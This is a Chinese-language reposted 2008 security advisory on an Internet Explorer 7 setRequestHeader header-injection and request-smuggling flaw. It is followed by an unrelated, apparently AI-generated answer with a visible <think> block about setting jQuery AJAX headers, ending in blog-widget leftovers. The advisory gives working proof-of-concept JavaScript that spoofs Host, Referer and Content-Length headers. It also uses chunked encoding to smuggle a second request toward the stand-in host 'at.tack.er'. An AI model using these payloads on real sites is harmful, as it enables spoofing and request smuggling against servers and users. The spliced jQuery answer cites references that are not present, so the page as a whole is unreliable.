MS IE 7 setRequestHeader() 请求拆分和渗透漏洞

IE7存在HTTP请求拆分和渗透漏洞,允许通过恶意脚本覆盖Content-Length、Host和Referer等HTTP头部信息,可能导致HTTP头信息欺骗。此外,IE7允许设置TransferEncoding:chunked头,进一步引发请求拆分/渗透漏洞。

MS IE 7 setRequestHeader() 请求拆分和渗透漏洞 2008-03-28 16:25:22  www.hackbase.com  来源:互联网
受影响系统:Microsoft Internet Explorer 7.0.5730.11- Microsoft Windows XP SP2 描述:Internet Explorer是微软发布的非常流行的WEB浏览器。 IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Refe ...
受影响系统:
Microsoft Internet Explorer 7.0.5730.11
- Microsoft Windows XP SP2

描述:
Internet Explorer是微软发布的非常流行的WEB浏览器。

IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Referer等HTTP头,导致HTTP头信息欺骗。

类似于以下javascript:

var x=new XMLHttpRequest();

x.open("POST","/");
for(f=127;f<255;f++)
try{
x.setRequestHeader("Host"+String.fromCharCode(f),"Test");
}catch(dd){}
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
    if (x.readyState == 4){
   }
}
x.send("blah");

会覆盖以下头:

- Content-Length
   x.setRequestHeader("Content-Length"+String.fromCharCode(201),"0");
   x.setRequestHeader("Content-Length"+String.fromCharCode(233),"0");
   x.setRequestHeader("Content-Length"+String.fromCharCode(240)+String.fromCharCode(213),"0");

- Host

   x.setRequestHeader("Host"+String.fromCharCode(223), "www.microsoft.com");

- Referer

   x.setRequestHeader("Referer"+String.fromCharCode(205)+String.fromCharCode(155),"http://www.referrer.tld");
   x.setRequestHeader("Referer"+String.fromCharCode(237)+String.fromCharCode(155),"http://www.referrer.tld");

Internet Explorer 7允许在setRequestHeader中设置Transfer Encoding: chunked头,导致Http请求拆分/渗透漏洞。

假设存在反射跨站脚本漏洞影响的站点与攻击者的站点托管在同一台主机上,且用户没有配置代理,由于IE7允许设置

setRequestHeader("Transfer-Encoding","chunked");

因此就允许将POST请求中的负载用作Web服务器的其他请求。例如:

var x=new XMLHttpRequest();

for(var i =0; i<1;i++){
x.open("POST","/");
x.setRequestHeader("Transfer-Encoding","chunked");

x.setRequestHeader("Proxy-Connection","keep-alive");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
    if (x.readyState == 4){
    }
}
try{
x.send("0/r/n/r/nPOST / HTTP/1.1/r/nHost:
at.tack.er/r/nContent-Length: SOMELENGTH/r/n/r/n")  }catch(r){} }

请求会变为:

POST / HTTP/1.1
Accept: */*
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67

0

POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest

这样Web服务器就会打开套接字等待负载。

厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

 


关键字:IE7 漏洞

本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2008-03-28/40369.html

<think>我们正在讨论的是在jQuery的POST请求中如何设置或修改请求头(HTTP headers)。根据引用[2]引用[4],我们可以使用`$.ajax`方法,并在其中通过`headers`选项或`beforeSend`回调函数来设置自定义请求头。 ### 方法一:使用`headers`选项(推荐) 在`$.ajax`配置中直接设置`headers`对象,每个属性代表一个请求头字段。 示例代码: ```javascript $.ajax({ url: 'your-endpoint-url', // 请求的URL type: 'POST', // 请求方法,这里为POST headers: { // 设置请求头 'Custom-Header1': 'value1', 'Custom-Header2': 'value2' }, data: { // 发送的数据 key1: 'value1', key2: 'value2' }, success: function(response) { // 请求成功处理 console.log(response); }, error: function(xhr, status, error) { // 请求失败处理 console.error(error); } }); ``` ### 方法二:使用`beforeSend`回调函数 在发送请求之前,通过`beforeSend`回调函数修改XMLHttpRequest对象的请求头。这个回调函数接收XMLHttpRequest对象作为参数。 示例代码: ```javascript $.ajax({ url: 'your-endpoint-url', type: 'POST', beforeSend: function(xhr) { // 设置自定义请求头 xhr.setRequestHeader('Custom-Header1', 'value1'); xhr.setRequestHeader('Custom-Header2', 'value2'); }, data: { key1: 'value1', key2: 'value2' }, success: function(response) { console.log(response); }, error: function(xhr, status, error) { console.error(error); } }); ``` ### 注意事项: 1. **跨域请求**:如果请求是跨域的,浏览器会先发送一个OPTIONS预检请求(preflight)来检查服务器是否允许这些自定义请求头。如果服务器没有在预检响应的`Access-Control-Allow-Headers`中包含你的自定义请求头请求会被拒绝(如引用[5]所提到的错误)[^5]。因此,确保服务器端配置了允许这些自定义请求头。 2. **保留请求头**:避免覆盖一些重要的请求头(如`Content-Type`)。如果设置`Content-Type`,通常应该设置为`application/x-www-form-urlencoded`(如引用[3]所述)[^3]或`application/json`等,具体取决于你发送的数据格式。 3. **安全性**:设置请求头时,特别是涉及身份验证的(如`Authorization`),确保通过HTTPS传输,避免敏感信息泄露。 ### 完整示例(设置Content-Type为application/json): ```javascript $.ajax({ url: 'https://api.example.com/data', type: 'POST', headers: { 'Content-Type': 'application/json', // 设置请求体为JSON格式 'Authorization': 'Bearer your_token_here' }, data: JSON.stringify({ // 将数据转换为JSON字符串 name: 'John', age: 30 }), success: function(response) { console.log('Success:', response); }, error: function(xhr, status, error) { console.error('Error:', error); } }); ``` ### 总结: - 使用`headers`选项是设置请求头最直接的方式。 - 使用`beforeSend`可以在发送前动态设置请求头(例如,根据条件添加)。 - 注意跨域问题服务器端配置。 通过以上方法,你可以在jQuery的POST请求中自定义请求头。 §§相关问题§§ 1. 在跨域请求中,如何配置服务器以允许自定义请求头? 2. jQuery中除了`$.ajax`,还有哪些方法可以发送POST请求并设置请求头? 3. 如何避免在设置自定义请求头时触发OPTIONS预检请求?</think>### 在jQuery POST请求中设置或修改请求头的方法 在jQuery中设置HTTP请求头有两种主要方法,根据引用[2][3][4]的信息,以下是详细解决方案: #### 方法1:使用`headers`参数(推荐) 直接在`$.ajax`配置中使用`headers`对象设置请求头: ```javascript $.ajax({ url: 'your-api-endpoint', type: 'POST', headers: { // 设置自定义请求头 'Authorization': 'Bearer your_token', 'X-Custom-Header': 'custom_value', 'Content-Type': 'application/json' // 设置内容类型 }, data: JSON.stringify({ // POST数据 key1: 'value1', key2: 'value2' }), success: function(response) { console.log('成功:', response); }, error: function(xhr) { console.error('错误:', xhr.statusText); } }); ``` **特点**: - 最简洁直接的方式 - 适合设置固定请求头值 - 支持同时设置多个请求头[^2] #### 方法2:使用`beforeSend`回调 通过回调函数动态设置请求头: ```javascript $.ajax({ url: 'your-api-endpoint', type: 'POST', data: { key: 'value' }, beforeSend: function(xhr) { // 动态设置请求头 xhr.setRequestHeader('X-Request-ID', generateUUID()); xhr.setRequestHeader('Authorization', 'Bearer ' + getToken()); // 显示加载状态(如引用[4]) $('#loading').show(); }, complete: function() { $('#loading').hide(); // 隐藏加载状态 } }); ``` **适用场景**: - 需要动态生成请求头值(如时间戳、动态token) - 需要在发送前执行额外操作(如禁用提交按钮)[^4] - 需要更精细的控制 #### 关键注意事项: 1. **跨域问题**: - 自定义请求头会触发CORS预检请求(OPTIONS) - 确保服务器响应包含:`Access-Control-Allow-Headers: your-custom-header`[^5] ```http Access-Control-Allow-Headers: Authorization, X-Custom-Header ``` 2. **内容类型设置**: - 对于JSON数据必须设置(如引用[3]): ```javascript headers: { 'Content-Type': 'application/json' } ``` - 对于表单数据使用: ```javascript headers: { 'Content-Type': 'application/x-www-form-urlencoded' } ``` 3. **保留请求头**: - 避免覆盖浏览器自动设置的请求头(如`Host`, `Connection`) - 不要修改`Content-Length`等系统级请求头 #### 完整示例(带安全令牌): ```javascript // 获取CSRF令牌(假设存储在meta标签) const csrfToken = $('meta[name="csrf-token"]').attr('content'); $.ajax({ url: '/api/save-data', type: 'POST', headers: { 'X-CSRF-Token': csrfToken, // CSRF保护 'X-Requested-With': 'XMLHttpRequest' }, data: { user: { name: '张三', email: 'test@example.com' } }, beforeSend: function(xhr) { xhr.setRequestHeader('X-Request-ID', Date.now()); // 添加请求ID }, success(response) { alert(`保存成功: ${response.message}`); } }); ``` ### 常见问题解决 **问题:请求被CORS阻止** > `Request header field X-Token is not allowed` **解决方案**: 1. 服务器添加响应头: ```http Access-Control-Allow-Headers: X-Token, Content-Type ``` 2. 简单请求避免使用自定义头(改用URL参数) **问题:服务器未收到请求头** - 检查浏览器开发者工具 > Network > 请求头 - 确保没有拼写错误(HTTP头名称大小写不敏感但需一致) 通过正确设置请求头,您可以实现身份验证、CSRF保护、跟踪请求等高级功能[^2][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值